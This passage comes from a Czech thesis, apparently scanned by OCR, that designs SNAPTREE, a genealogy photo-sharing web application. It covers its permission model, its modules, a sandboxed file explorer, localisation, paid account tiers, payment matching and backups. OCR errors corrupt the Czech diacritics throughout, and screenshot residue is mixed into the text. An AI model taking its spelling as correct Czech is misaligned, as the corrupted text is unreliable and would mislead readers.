schované za odkazem, 1ze béhem nasledujicich tfi dnt vytvofit nové heslo, a zastoupit tak

to ptivodni.

Tyto bezpecnostni opatieni zajisti to, ze i kdyby doslo k tniku uzivatelskych uidaja, bude
heslo pro uto¢nika nepouzitelné. To je dobra zprava nejen pro uZzivatele Aplikace, ale 1
pro provozovatele dalSich sluZeb, které vyuZzivaji, jelikoz lidé velmi Casto pouZivaji stejné

heslo pro nékolik sluZeb najednou.

Jak jsem se dfive zminil, poslednim krokem k zaloZeni uzivatelského tctu je vybér druhu
uctu - kolik funkci bude umoziiovat versus kolik bude uZivatele stit penéz. Poplatky za
vyuzivani Aplikace budou jedinym zdrojem financovani, a druhy uctu, jejich funkce a
cenu uvedu v samostatné kapitole. Zde uvedu jen jednu véc: jeden z nabizenych druht
uctd bude zdarma, a bude umoziovat uzivateli vyzkouset prostfedi Aplikace, a také jeji

zakladni funkce.

3.5.2 Po prihlaseni

UZivateli jsou zpfistupnéné sekce a funkce podle toho, jak jsou definovany v tabulkach per-
mission, user_permission a account_type_permission. Autorizaci jsem pojal nasledujicim
zpusobem: uZzivatel se néjakym zptisobem (pres primy odkaz) dostane do foto alba, se
kterym nemé Zadnou vazbu, a tudiZ nemd pravo na jeho prohliZeni. Jednoduchym dotazem
na databazi se Aplikace béhem pil vtefiny rozhodne, Ze nema pravo obsah zobrazit, a pred
vykreslenim bude piesmérovan pryc. To je jist€ spravné feseni, nicméné kdybych chtél ja,
jakozto spravce namatkové kontrolovat obsah foto alb (napf. kvuli nevhodnému obsahu),

nikdy bych se k obsahu nedostal.

V tabulce permission proto vytvorim (pomoci formulafe v administracni ¢4sti) zdznam
jmenujici se napt. “ProhliZeni cizich foto alb”, ktery automaticky vytvofi pomoci PHP
funkce md5 kli¢ k této funkci (napf. slovo “Aplikace” pretvoii na fetézec
”5aacd93547e5683fd50f503b7b59d6ed”. Tento kli¢ vlozim jako proménnou do zdro-

jového souboru obsahujici funkci, ktera prohliZzeni foto alba zajistuje, a celou takovou
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funkci obalim podminkou obsahujici jak databdzovy dotaz na vlastnictvi foto alba, tak i
volani dalsi, vlastni funkce checkUserPermission, ktera jako jeden z parametri poZaduje
vytvoreny kli¢ povoleni. Pomoci formulafe v administraci pridam bud povolané osobé,
nebo skupiné€ povolanych osob vytvorené povoleni, a do tabulky user_permission (resp.
account_type_permission) se uloZi novy zdznam, ktery bude hledat diive zminéna funkce
checkUserPermission. Pokud takovy zdznam najde, umozni uZivateli zobrazit obsah foto
alba. Povoleni vytvofend v administraci, a spojend se zdrojovym kédem pak mohou
byt jednoduse uzivatelim, nebo rovnou celym skupinam odebrany, pfipadné globalné
explicitné zakazany (sloupec globally denied), aniz by se muselo zasahovat piimo do

kodu.

Pfifazovani a odebirani povoleni je umoznéno pouze administratoriim, a jako jediné je
uz od pocatku definované ve zdrojovém kodu. Jestli je aktivni uzivatel administrator se
poznd podle jeho hodnoty ve sloupci admin v tabulce user. Ve stejné tabulce se nachazi
také sloupec superadmin, coz je status, ktery povoluje veskeré funkce Aplikace, hlavné
pfidavani a odebirdni administritorskych prav. Hodnotu tohoto sloupce nelze upravit jinak,

nez primym zasahem do databaze.

3.6 Moduly verejné casti

s v 2

Moduly vetejné Casti jsou vlastné datové a funkéné odlehcené moduly administracni Casti,

a slouZi (az na jednu vyjimku) pouze pro Cteni.

3.6.1 Modul uzivatelské nastaveni

Veskeré nastaveni aktudlné prfihlaseného uzivatele budou upravitelnd v tomto modulu.
Bude se jednat jak o osobni informace, tak i o preferenci prostiedi a chovani Aplikace.
Zde uzivatel uvidi také prehled svych plateb, bude moci zménit typ svého tctu, a v piipade,
ze v Aplikaci existuje jeho Osoba, uvidi zde i poskytnuté udaje, a bude je moci pridat nebo

odebrat.
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3.6.2 Modul Rodokmen

SlouZi jako obecny prehled aktivniho rodokmene. V ptipadé, Ze Zadny rodokmen neni
aktivni, dostane uzivatel na vybér ze seznamu rodokmend, se kterymi je spojeny. Pokud

jesté zadny nemad, zobrazi se mu odkaz na formular, kde tak miize ucinit.

Informace zde zobrazené budou spiSe statistického charakteru, jako je naptiklad pocet
fotografii, osob, seznam administratorti rodokmene, nebo kolik mista na disku zabiraji

vSechny fotografie. U jednotlivych statistik pak budou odkazy na konkrétni moduly, které

v

3.6.3 Modul Fotografie

Zde budou uzivatel€é travit nejvice Casu pifi pouzivani Aplikace. Jednd se o vypis vSech
fotografii aktivniho rodokmenu, které uzivatel mé pravo vidét. Administratofi rodokmenu
i Primérni uzivatelé uvidi vSechny zdznamy, Sekundarni uzivatelé uvidi pouze fotografie,
na kterych jsou oznaceni. Vypis bude obsahovat pokrocilou filtraci umoziujici kombinaci

klicovych slov nebo hodnot, aby se uzivatel dostal k poZzadovanému vybéru fotografii.

Modul bude datové velice narocny, a proto nebudou ve vypise zobrazeny originalni
fotografie, ale pouze jejich nahledy, které se vytvori automaticky pii nahrani fotografie na
ulozisté. Pro dalSi minimalizaci datové naroCnosti bude implementovan tzv. lazy loading,
ktery zajisti, Ze si prohliZze¢ stdhne pouze ty fotografie, které jsou zrovna viditelné na
obrazovce - vSechen obsah v tomto modulu se tedy bude nacitat dynamicky, nezdvisle na

tom, na jakém pfistroji bude Aplikace pouZivéana.

Miniatury fotografii budou slouZit jako odkaz na detail fotografie, kde se ukdzou také
vSechny dalsi informace o fotografii, jako je napf. misto a datum pofizeni, oznacené osoby
s jejich zdkladnimi osobnimi udaji, nebo alba, do kterych fotografie nalezi. Fotografie
muze byt oznacena Stitkem citlivy obsah”, v tomto piipadé bude plné viditelna pouze
jejich autorovi, administratorim rodokmenu, a ozna¢enym osobam. Ve vychozim stavu
bude vSak vzdy deformovéna, aby na prvni pohled neslo jasné identifikovat jeji obsah, a

po kliknuti na tlacitko se zobrazi ptivodni obsah fotografie.
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3.6.4 Modul Foto alba

Komplementarni modul k Modulu Fotografie, ktery bude obsahovat vypis foto alb, které
nejsou soukromé, byly vytvoreny aktudlnim uZivatelem, obsahuji fotografie, na kterych
je uzivatel pres svou Osobu oznacen, nebo administratorem rodokmene. Podobné jako v

pfedchozim modulu, i zde bude moZnost filtrace podle riznych parametri foto alba.

3.6.5 Modul Osoby

Tento modul obsahuje seznam vSech osob, které jsou zatfazené do aktivniho rodokmenu.
Jejich nédhledy obsahuji zdkladni osobni informace, a také statistiky typu “pocet oznaceni
na fotografiich” apod. Administratofi rodokmenu zde uvidi i osoby, které ¢ekaji na souhlas
s poskytnutim osobnich dajt, Primarni uZivatelé uvidi pouze jiZ potvrzené osoby, a

Sekundarni uZivatelé uvidi pouze svou osobu.

Zaznamy pujde fadit a filtrovat podle poskytnutych osobnich tidaji, jako je napf. jméno,
datum narozeni nebo pohlavi. Ndhled osoby bude fungovat také jako odkaz na vypis vSech
poskytnutych osobnich informaci, fotografii, na kterych je osoba oznacena, a také jinych

informaci.

3.7 Moduly administracni ¢asti

Do administracni ¢asti maji povolen pfistup pouze administritofi Aplikace, a Primérni
uzivatelé, ktefi jsou administratofi rodokmenu. Veskeré tvarci ¢i upravné ikony, vyjma

nastaveni osobniho Gétu, probihaji v jednom z administra¢nich modult.

3.7.1 Modul Zakladni prehled

Rozcestnik administrace obsahujici informace na zdkladé toho, jestli je uzivatel admin-
istratorem Aplikace, nebo Primarnim uZivatelem. Administratori Aplikace zde vidi
zakladni statistiky tykajici se chodu Aplikace, Primarni uZivatelé pak statistiky jejich

rodokmenu, které neni vhodné, nebo nutné zobrazovat vsem jeho Clentim.
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3.7.2 Modul Sprava Gétu

Jak uz napovida nazev, tento modul je pristupny a viditelny pouze administratorim Ap-
likace. Nejdulezitéjsi soucasti je vypis uzivateld, diky kterému lze b€hem chvilky snadno
najit poZadovany zdznam, a upravit jej. Data pro seznam pfichézi z tabulky user. Formular
pro upravu uzivatele obsahuje prvky z vetfejné Casti, které vidi i zbytek uzivateld. Navic
jsou zde moZnosti pro jeho zablokovéni a anonymizaci. Anonymizace zastupuje odstranéni
uctu, kdy dojde k zachovani vSech zdznamu, které nesou uzivatelovy otisky, a odstrani
se pouze osobni udaje, které by mohly vést k jeho identifikaci, jako je jméno, e-mailova
adresa, nebo telefon. Pokud mél uZivatel vytvofenou svou Osobu, budou i tyto udaje

anonymizovany.

Nachdzi se zde také seznam povoleni, ve kterém se vytvaii a upravuji povoleni pro
uzivatelské skupiny, i jednotlivé uZivatele. Data, se kterymi se zde pracuje, pochdzi z

tabulky permission, user_permission a account_type_permission.

Sprava typu Gcta se také nachdzi v tomto modulu, a je napojend na tabulky account_type a
pricing_plan. Pro regulérni fungovani Aplikace musi byt aktivni alespoi jeden typ uctu,
ktery bude nabizen uzivatelim. Typy ucti nemohou byt z rozhrani administrace odstranény,
jelikoZ jsou piimo spojena s uZzivateli, a funguji jako reference pii spravé poplatkd za
pouzivani Aplikace. VétSina Uprav typu acti se bude tykat jejich ceny, ale pokud by se

néjaky typ nemél dale nabizet novym uZzivateliim, staci ho deaktivovat.

Aplikaci jsem tvofil se zdmérem co nejvice usnadnit piidani nového jazyka pro pripadnou
expanzi do zahranici. S cizimi jazyky je vétSinou také spojena jind ména, takze poplatky za
pouZzivani Aplikace v tabulce pricing _plan_price jsou udavany bez jednotky mény. Kazdy
zdznam v této tabulce je napojen na tabulku currency, kterd obsahuje seznam povolenych
mén, a informace o tom, jak ménu formatovat - kazda ména ma totiZz své specifikum

tykajici se zapisu, napt. $100.05 versus 1.000,50 K¢.

3.7.3 Modul fotografie

Obsahuje formular pro pfidani nové fotografie do aktivniho rodokmenu. Staci vybrat

soubor na serveru a vyplnit ndzev. Pokud ma uZivatel v preferencich povolené automatické
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rozpoznéni tvaii, Aplikace se o to pokusi, a pfipadné nédlezy oznaci bilym rameckem.
Oznacit osoby lze také rucné, staci kliknout kdekoliv na plochu fotografie, posunout mys
po diagonale dolil, a druhym klikem potvrdit velikost ramecku. U vytvofeného ramecku
Ize nasledné zménit velikost, nebo ho posunout na jiné misto tak, aby lépe zachytilo
vyobrazenou tvar. Obsah rdmecku je automaticky ukldadan do textu (tzv. base64 string), a

pri uloZeni fotografie je text preveden do obrazku, a uloZen pro pozd€jsi zpracovani.

Aby se tak ale stalo, musi uzivatel nejdiive vybrat o jakou osobu se jedna. Formulaf pracuje
s tabulkami image (hlavni seznam fotografii), image_person (oznaceni Osoby na fotografii)

a person_face (zaznam tvare oznacené Osoby).

<

SNAPTREE e . Jan Machag
Administrace Machéacovi Standard

Administrace > Seznam fotografif > Pfidat fotografii

o
O
o

Pridat fotografii

[
=
E
&
o

B

Jan Machat (1991)

Obrazek 10: Automatické oznaceni tvari na fotografiich. (Zdroj: vlastni zpracovéni)

s ws

Uzivatel muze také vyplnit katalogové Cislo pro lepsi identifikaci (ndzev fotografie nemusi
byt unikétni), popis zachyceného obsahu, misto a rok pofizeni, a nebo oznacit fotografii
Stitkem “Citlivy obsah”. Pokud na takové fotografii byly oznaceny osoby, bude jim
automaticky odeslan e-mail, ve kterém bude kromé této skute¢nosti uveden i zptisob,
jak oznaCeni odstranit, a pfipadné 1 odstranit fotografii z rodokmenu. Seznam fotografii
tabulkové ukazuje vSechny fotografie v aktivnim rodokmenu, misto dlazdicového vypisu

ve vefejné Casti. PoloZzky lze fadit podle zobrazenych sloupct.
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Kolem pilnoci dochazi ke kontrole zdznamu v tabulce image. Aplikace nejdiiv projde
vSechny zdznamy, sloZi z nich cestu k souboru, a podiva se, jestli takovy soubor skutecné
existuje. Pokud soubor na daném misté nenajde, smaze z tabulky image jeho zaznam,
véetn€ navaznych zaznamu v tabulkach image_person, person_face a album_image. Ve
druhém kroku provede Cistku uzivatelskych souborti. Nahravat je sice povoleno pouze
obrazky nejrozsitenéjsich typd, ale miiZe se stat, Ze se nékomu povede nahrat i neobrazovy
materidl. Cistici funkce rekurzivng projde viechny uZivatelské adresfe, a odstrani viechny

zakdzané soubory a prazdné slozky.

3.7.4 Modul Foto alba

Jednoduchy formulaf napojen na tabulky image, image_album a album, ktery dovoluje
seskupovat fotografie z aktivniho rodokmenu do foto alb pro lepsi prehled o obsahu
rodokmenu. Jediné povinné pole je ndzev alba, dalsi informace jako popis nebo zaheslovani

nejsou vyzadovany.

Vypis foto alb je pak feSen podobné, jako vypis fotografii jednoduchou tabulkou.

3.7.5 Modul Rodokmeny

Primarni uzivatel zde vidi své rodokmeny (u vétSiny uzivatell jen jeden), administratorovi
Aplikace se zde vSak ukdzou vSechny rodokmeny v Aplikaci. Pokud to uzivateli jeho typ

uctu dovoli, mize vytvorit novy rodokmen.

Jeho formulaf pracuje s tabulkami tree (hlavni zdznam o rodokmenu) a tree_admin (seznam
administratorti rodokmenu). Pro vytvoreni nového rodokmenu staci vyplnit jeho nazev. Je

mozné k nému jesté pridat popis, ale ten je nepovinny.

3.7.6 Modul Osoby

Obsahuje seznam vSech osob v aktivnim rodokmenu s moZnosti fazeni podle zobrazenych

sloupci. Formulaf pro vloZeni nového zaznamu pozaduje pouze kiestni jméno, piijmeni, a
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bud alespoii rok dmrti, nebo e-mailovou adresu (v piipadé Zijici osoby). Na tuto adresu

bude odesldna zprava, jak jsem zmifloval v jedné z predeslych kapitol.

Kromé téchto udaji 1ze vyplnit dalsi, nepovinné, jako jsou piijmeni za svobodna, datum
a misto narozeni, pohlavi, nebo vybrat pfimého potomka ze seznamu existujicich osob.
Pokud se jedna o Zijici osobu, zdznam se do tabulky person sice uloZzi, ale dokud adresat
e-mailové zpravy nebude souhlasit s postoupenim svych tdaji, bude v zdiznamu sloupec
confirmed nastaven na hodnotu ”0”, a tim se zamezi pouZzivani této osoby kdekoliv v

Aplikaci.

Aplikace kazdy den kolem piilnoci kontroluje vS§echny osoby. V piipadé, Ze néjaky zaznam
ma sloupec confirmed s hodnotou 0, a od data vloZeni (sloupec date_created) uplynulo

vice nez 7 dnti, dojde k odstranéni takového zaznamu.

Pokud byl vyplnén néktery z piimych potomk, do tabulky person_descendant se vlozi
novy zdznam obsahujici ID osoby-rodiCe, a ID osoby-potomka. Neni zde tfeba uvadét
zda-li se jedna o matku/otce respektive dceru/syna - to si Aplikace uréi sama podle pohlavi

osoby.

3.7.7 Modul Pruzkumnik souboru

Nastroj pro praci s uzivatelskymi soubory vlastni tvorby. Uzivatel nenahrava fotografie
pifimo z pocitace do formulére, ale vyuziva k tomu tento mezikrok. Primérny uZivatel bude
v Aplikaci spravovat nékolik stovek az nékolik tisic fotografii, a aby se v tomto mnoZstvi
soubortl co nejlépe vyznal, snazil jsem se vytvorit nastroj inspirovan prizkumnikem

soubort jako ho zndme z nejvétsich operacnich systémd.

UZivateli je po registraci vytvoren adresar, ktery se stane jeho kofenovym adresarem. Pri
kazdém pruchodu do nového adresaie dochazi ke kontrole aktudlni lokace, a pokud se
uzivatel nachdzi nékde, kde by se nachazet nemél, je promptné€ vracen do svého kofenového

adresare. Zde si muze nahrané fotografie fadit do podadresait pro lepsi orientaci.

Pfi nahravani soubort je uzivatel omezen na urcité piipony soubort, v piipadé Aplikace
jsou to obrazové soubory *.jpg, *.jpeg, a *.png, které bude moci oznacit pro nahravani.

Soubory s ostatnimi pfiponami, nebo se Zddnymi pfiponami, se uzivateli neukazou. Pro
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jistotu jsou ale jeSté nahrdvané soubory kontrolovany na serveru, a pokud se jedna o Spatny

soubor, tak k jeho ulozeni nedojde, a uZzivatel je o tom obezndmen.

&

SNAPTREE . Jan Macha¢ @

Administrace Machégovi Stancara

Administrace > Prizkumnik soubord

o
O
o

Préizkumnik souborti

it > Nova slozka E
Smazat soubor

thumb tes

Prejmenovat

Q
=
&
&
D

Kopirovat
Vyjmeut
Stahnout

Vlastnosti

Obrizek 11: Pruzkumnik soubora Aplikace. (Zdroj: vlastni zpracovani)

Pokud jsou nahrané obrazky pfili§ velké, dojde k jejich zmenSeni pomoci PHP knihovny
ImageMagick, jednak proto, aby uzivatel zbytecné neplytval vlastnim diskovym prostorem,
ale také proto, aby jejich nacitdni netrvalo pfiliS dlouho, a nespotfebovalo vice Sitky pasma,
nez je nutné. V kazdém adreséfi se také automaticky vytvori slozka ”.thumbs”, do niZ se
nahraji zmenseniny obrazk, které slouzi jak pfi prohliZeni fotografii ve vefejné ¢asti, tak i
zde v Priizkumniku jako ikona souboru pro lepsi orientaci v nahraném obsahu. Zmensenina

se vytvaii také pomoci PHP knihovny ImageMagick.

Rozhrani Priizkumniku soubort je napsano v jazykce JavaScript, a vyuziva knihovny

jQuery a jQuery Ul pro funkci presunuti nebo zmenseni okna.

Modul dovoluje podobné tikony na slozkach a souborech, jako nativni néstroje operacnich
systémd - pfesun, pfejmenovani, zobrazeni vlastnosti, kopirovani a smazani. Navic lze

soubor stahnout do uZivatelova pfistroje.

Kazdy Primarni uzivatel ma k Prizkumniku pfistup, ale nahravani novych soubort je
mozné zakazat dvéma zpusoby: globalné v modulu Nastaveni, nebo administratorem

konkrétné v nastaveni uzivatele.

54



3.7.8 Modul Nastaveni Aplikace

Formulaf pfistupny pouze administratorim Aplikace obsahuje vSechna nastaventi, které
je mozno ménit za b&hu, a bylo by nepraktické kvuli jejich dpravé zasahovat primo do
databaze, nebo ménit zdrojovy kéd. Pfi inicializaci Aplikace dojde ke kontrole zdznami v
tabulce settings, a nahraje jeji posledni zdznam. Kazda uprava nastaveni uloZi do tabulky
novy zéznam, aby se v piipadé Spatného nastaveni, a nedostupnosti administracniho

rozhrani, mohlo pouze odstranit nejnovéjsi zaznam, a snad timto zptisobem chybu odstranit.

V piipadé, Ze by tabulka settings byla prazdnd, Aplikace nahraje vychozi nastaveni ze

souboru config.json.

3.8 Multijazycnost

Ve vychozim stavu Aplikace pouZziva Cestinu jako primérni jazyk, tzv. ’locale”. Nazyvat
tuto volbu pouze jazykem je vSak nedostacujici, jelikoZ locale je spiSe komplexni sadou
pravidel pro jazykovou mutaci, neZ pouhym jazykem. Definice jazyka sice je jeho soucdsti,
nicméné obsahuje dalsi dilezité predvolby, jako je napiiklad ména nebo forméat data a

casu.

Drtiva vétsina texti je v Aplikaci piekladdna ”za béhu” pomoci vlastni funkce translate(),
kterd pfijima4 tii parametry: piekladovy fetézec, modul (nebo ¢ést), a pfipadny fetézec pro

nahrazeni.

Prekladové fetézce jsou ukladdny v souborech pojmenovanych podle modulu (nebo Casti)
ve kterych figuruji a také ISO 3166-1 alpha-2 kédu jazyka, kterého pieklady obsahuji, takze
napiiklad pfeklady pro administracni ¢ast v Cestin€ maji ndzev admin_cs.json. Soubory maji
stromovou strukturu, a klice, které obsahuji, mohou byt zanotené libovolné hluboko, takze
pfi hledani prekladu naptiklad pfi volani funkce trans(’label.general.success’, ’admin’)
nemusi algoritmus prochdzet cely strom, ale rozd€li kli€ label.general.success na tii ¢asti,
a snazi se postupné zanofit do stromu. Pokud tedy aktudlni sledovana hodnota ze souboru
neni label, algoritmus ignoruje jeji obsah, a pokracuje dal. V opa¢ném piipadé zase hleda

hodnotu general ve vétvi label atd. Pokud pteklad pro konkrétni fetézec nebyl nalezen,
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funkce vraci puvodni kli¢, a v Aplikaci jde pak jednoduSe poznat, Ze je tfeba preklad

doplnit.

Nékteré preklady jsou dynamické, a je tfeba ménit jejich hodnotu za béhu, napt. ”Pocet
osob na fotografii: 57, a k tomuto Gcelu je v prekladové funkci jesté tfeti parametr, ktery
pfijima pole, jehoZ prvky jsou identifikovany zastupnym znakem, a obsahuji hodnotu,
ktera ma byt vloZena misto zastupného znaku. Na zminéném piikladu by tedy preklad
byl zapsan zptsobem “Pocet osob na fotografii: %count%”, a parametr pro prekladovou

funkci by vypadal takto: array(’%count%’ =>5).
Pro univerzélnost, a zachovani konvenci se prekladové kli¢e zapisuji anglicky.

Malou cast textl nelze fesit automatickymi pieklady, jedna se totiz o hodnoty ulozené v
databazi. Jsem si védom, Ze v piipadée rozsifeni Aplikace do cizojazycného statu bude
mit kazda jazykova mutace svou vlastni databdzi, nicméné i presto jsem vymyslel feSeni
pro vicejazy¢nost databazovych zdznamd, af uz jen z toho diivodu, Ze jeden rodokmen
se muze rozkladat na prostoru nékolika zemi (a jazykl) najednou. VSechny sloupce, u
kterych to bude nutné (naptiklad nazev nebo popis fotografie), budou v databazi ulozeny
vicekrat, podle podporovanych jazykii. Takze ndzev fotografie je ulozen jednou jako
name_cs a podruhé jako name_en. Formulafe jsou pro tuto eventualitu pfizpisobené, a

ignoruji nevyplnéné jazykové verze.

Dovolim si zde také uvést mé feseni problematiky diakritiky. Vykreslovani znaku speci-
fickych pro dany jazyk je dnes jiZ naStésti vyfeSeno pouzitim koédovani souboru UTF-
8, ktery obsahuje vSechny lidmi pouZivané pismena a znaky, ale problém nastava pti
porovnavani dvou fetézcli. Na to lze narazit napiiklad pfi vyhledavani, nebo filtraci, kdy
uZzivatele nelze nutit, aby védél, Ze do vyhledavaného slova néleZzi pravé ”€” nebo 7e”, a
proto v Aplikaci v téchto pfipadech dochdzi k tzv. transliteraci”, kterd vSechny specifické

znaky prevede do jejich jednoduchého ekvivalentu - z pismene 1t se stane ’r”” apod. Tuto

funkci zajiStuje knihovna Translit, kterd obsahuje mapu znaki a jejich ekvivalentd.
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3.9 Typy uzivatelskych uctu

Aplikace musi dat zakaznikiim na vybér nékolik riznych variant uzivatelskych ucta, které
se budou lisit vy¢tem povolenych funkci, a odpovidajici cenou. Cena za sluzbu je s tzce
spojena s nabizenymi funkcemi, a také hardwarovym zdzemim Aplikace. Utty jsem

pracovné nazval takto: ZkuSebni, Omezeny a Plny.

3.9.1 ZkuSebni ucet

Zejména na pocatku kazdé nové sluzby je nedivéra novych potencialnich uzivateli vysoka,
a je tfeba obétovat vétsi ¢ast provoznich ndkladi na sniZeni, nebo tplnou eliminaci této
nedivéry, a zvysit tak Sanci na ziskani jejich prizné. Zkusebni ucet je v tomto ohledu
dobrym néstrojem, pokud jsou dobie nastaveny jeho limity tykajici se nabizenych funkci
a/nebo Casu pouzivani. Rozhodl jsem se, zZe na zkouSku vSech funkci, které Aplikace
nabizi, bude mit uzivatel s timto typem tctu 30 dni. Po tuto dobu bude mit ptistup ke vSem
sekcim a funkcim, které jsou oteviené uzivatelim s placenym tctem, a na konci obdobi
bude moci sviij et bud zrusit, nebo prejit na néktery z placenych Gétd. V piipadg, ze
si nevybere ani jednu z navrhovanych moZnosti, budou jeho data po 7 dnech odstranéna,
a ucet uzavien. Jeden den pred terminaci ictu mu bude jest€ odeslana posledni nabidka,

ktera mlize obsahovat specidlni slevu po dobu prvnich nékolika mésict.

3.9.2 Omezeny ucet

Levnéjsi varianta uZivatelského uctu, kterd nebude obsahovat v§echny funkce Aplikace, a
bude také navic limitovana po¢tem rodokment, fotografii, osob a volnym mistem na disku.

Co ucet nabidne:
e 500 MB diskového prostoru pro fotografie
e | rodokmen
e 50 osob v rodokmenu

e 500 fotografii
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e manualni oznaCovani osob
e zakladni statistiky

Poskytnuty diskovy prostor se muze zdat maly, ale diky tomu, ze fotografie nebudou
ukladany v plné kvalité, se jich na tento prostor mize vejit az 500. Pocet osob je také urcen
konzervativné, ale vétSin€ uzivateli i jejich Sirs$i rodiné bude z pocatku stacit. Mési¢ni

poplatek za vyuzivani tohoto uctu jsem stanovil na 299 K¢.

3.9.3 Plny ucet

Jak uz ndzev napovid4, tento ucet bude nabizet vSechny funkce a pfistup ke vSem sekcim

Vv,

horizontdlné rozsahla, a nebo pro druhé a dalsi generace stavajicich zdkazniku, kdyz zjisti,

7e je predchozi typ G&tu p¥ili§ omezuje. Ulet bude nabizet nasledujici:
e 1000 MB diskového prostoru pro fotografie
e neomezeny pocet rodokment
e neomezeny pocet osob v rodokmenu
e 1000 fotografii
e rozpoznavani tvaii na fotografiich (pozdéji i identifikace osob)
e pokrocilé statistiky

Za cenu 699 K¢ mésicné, Cili vice nez dvojndsobnou, dostane zdkaznik jen 2x vice
diskového mista a fotografii, ale pridané statistické a praktické funkce tuto cenovku
ospravedliuji. Rozpoznavani tvafi a identifikace osob bude vykonnostné naro¢na, a miize
nastat situace, kdy zakaznikt s timto typem uctu bude tolik, zZe nebude stalit aktualni
serverovy vykon. Z tohoto diivodu bude implementovana moznost nabidku tohoto uctu

docasné skryt do doby, nez dojde k navySeni serverovych kapacit.
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3.9.4 Alternativy a zvySeni limitu

Casti zdkaznikd nebude stadit ani Plny ddet, a jejich nespokojenost miZe vést az ke
zruSeni smlouvy. Systém pro tvorbu a spravu Gétll jsem proto psal s myslenkou maximalni
modularity, kdy ptijde uzivatelim vytvorit typ uctu Sity na miru jejich potfebam. O kolik
vice mista na disku, a fotografii, by takové ucty mohly nabidnout, je vSak v tuto chvili

zbytec¢né rozebirat.

Co vsak jesté mohu popsat, je systém pro dodatecné zvySeni limiti formou pfiplatku k
mésicnimu pausalu. Tabulka account_addon bude obsahovat mozné ptiplatkové zvySeni
limiti pro tyto parametry: misto na disku v MB, pocet rodokmenti, pocet osob nebo pocet
fotografii. Pomoci spojovaci tabulky user_account_addon se pak toto ”vylepseni” napoji
na uZivatele, a bude obsahovat pfiplatek, a hodnotu, o kterou se limit navysil. Piiplatek se

pozdéji bude zapocitdvat do mési¢niho nebo rocniho pausalu.

3.9.5 Sledovani a ukladani plateb

Pro potreby Aplikace bude vytvofen bankovni ucet, ktery bude pouZzivan vyhradné pro
provozni transakce. Napfiklad banka Fio nabizi kromé vyhodného bankovniho ictu bohaté
API pro piichozi a odchozi transakce. Pro pohodIné parovani plateb vytvoiim dvé tabulky:
invoice a payment. Do prvni z nich se bude periodicky ukladat zdznam o tom kdo, kolik a za
jaké obdobi dluZzi, a k tomu se automaticky vytvofi faktura, kterd se odesle prostfednictvim
e-mailové zpravy zdkaznikovi. Systém 2x denné zkontroluje vypis Aplika¢niho tctu,
a zapiSe vSechny nové prichozi platby do tabulky payment. Poté obé tabulky porovna
podle variabilniho symbolu, a v pfipad€ shody oznaci pohleddvku v tabulce invoice jako
vyfizenou. Nasledné dojde ke kontrole jesté nezaplacenych pohledavek, u kterych se v
tydennich intervalech odesilaji upominkové e-maily, a to po dobu dvou tydnii, kde na konci

dojde ke zmrazeni uZivatelskych funkci.

Dlouhodobé nezaplacené pohledavky nelze feSit okamzitym smazdnim uZivatelského tctu
a vSech dat spojenych s jeho rodokmenem, protoZe na néj mize byt navazano nékolik
dalsich uzivatelt vyuzivajicich Omezeny nebo Plny ucet, a ti by tak bez vlastniho zavinén{

pfisli o moZnost vyuZivat sluzby, které si poctivé plati.
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Dojde proto pouze k zmrazeni hlavniho tctu, ze kterého byl rodokmen vytvoren. VSichni
Sekundérni uzivatelé pii pokusu o pristup k rodokmenu uvidi text vysvétlujici situaci,
a dokud nedojde k zaplaceni pohledavky, nebude jim umozZznén k obsahu rodokmenu
piistup. Primarni platici uzivatelé, ktefi maji pfistup k vice rodokmentim budou moci
ostatni rodokmeny pouZivat normdlné, ale u zmrazeného rodokmenu uvidi podobné hlaseni

jako Sekundarni uZzivatelé.

V pripadé, Ze ani po posledni vyzvé k uhrazeni nebude ze strany dluznika Zadn4 reakce,
dojde k tplnému odstranéni rodokmenu, jeho obsahu a piistupi vSech uzivatelskych uctd,

které byly s timto rodokmenem spojeny.

3.9.6 Zalohovani

Zdrojové soubory samotné Aplikace (respektive jejich inkrementdlni zmény) jsou jiz
bezpecné zalohovany diky sluzbé GitLab, a kdyby tak z jakéhokoliv diivodu doslo k
odstranéni nebo prepsani nékterého z nich, staci pomoci jednoho piikazu synchronizovat

vzdaleny repozitaf projektu, a Aplikace se uvede do ptivodniho stavu.

Zalohovani uzivatelskych souborti v tuto chvili planovano neni, protoZe by to s sebou neslo
dvojité naklady na diskovy prostor. Nicméné do budoucna tato funkce neni vyloucena, a

bude zélezZet na zajmu, respektive vysi piijmu generovanych chodem Aplikace.

Jednou denné probihd tzv. SQL dump databaze, ktery uloZi strukturu a obsah databaze do
jednoho souboru slozeného z SQL piikazii umoziujici takto databézi vratit do stavu, pri
jakém byl exportovan. Pro redukci rizika ztraty dat tento soubor nebude uloZen na stejny

stroj, na jakém bézi celd Aplikace.

V piipadé€ uspokojivych finanénich vysledki budou Aplikace a databaze rozdéleny na
vlastni droplets, ¢imz by mélo dojit nejen k jejich zrychlent, ale také ke zvySeni bezpecnosti,

kdy eliminace jednoho prvku neohrozi druhy prvek a naopak.
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3.10 VsSeobecné obchodni podminky

Pfi registraci do Aplikace, a také pfi Upravach znéni VSeobecnych obchodnich podminek
bude po uzivatelich poZadovan souhlas s jejich obsahem, a tim dojde k “podpisu” smlouvy
mezi nimi a provozovatelem Aplikace. Pomoci zdkladni Sablony poskytované sluzbou
Legito jsem vytvoril podminky, které obsahuji absolutni prdvnické minimum potiebné pro

definovani vztahu zédkaznik-provozovatel.

Pro splnéni legislativnich povinnosti kazda zména v podminkach nepfepisuje ptivodni
obsah, ale je vkladana do tabulky service_agreement jako nova polozka, a kazdy uZivatel
bude vyzvén bud k novému potvrzeni, nebo miize od smlouvy odstoupit, pokud se mu

zmény nelibi. Souhlas je pak ulozen do tabulky user_service_agreement.

Podrobné;jsi VSeobecni obchodni podminky budou sepsiny pred ostrym spusSténim za

asistence profesiondlniho pravnika.

3.11 Grafické rozhrani Aplikace

Na zacatek musim zduraznit, Ze nejsem expertem v oblasti User Interface nebo User
Experience, nicméné za dobu zhruba deseti let, kdy se v tvorbé webovych aplikaci pohybuji,
jsem vstiebal dostatek znalosti na to, abych dokézal vytvofit zdkladni uZivatelské rozhrant,

které je jak praktické, tak vizudlné piijemné, a uzivatel vi, co od néj miize ocekavat.

3.11.1 Barvy a pismo

K ¢erné a bilé barvé jsem jako tfeti primarni barvu vybral tmavé fialovou. Tento odstin
obecné podvédomé plisobi majestatnim dojmem, a kdyZ je pouZit ve spradvném mnoZstvi,
tak dokdze dobte doplnit zbylé dvé zdkladni barvy. Pfesnou hodnotu odstinu jsem vybiral
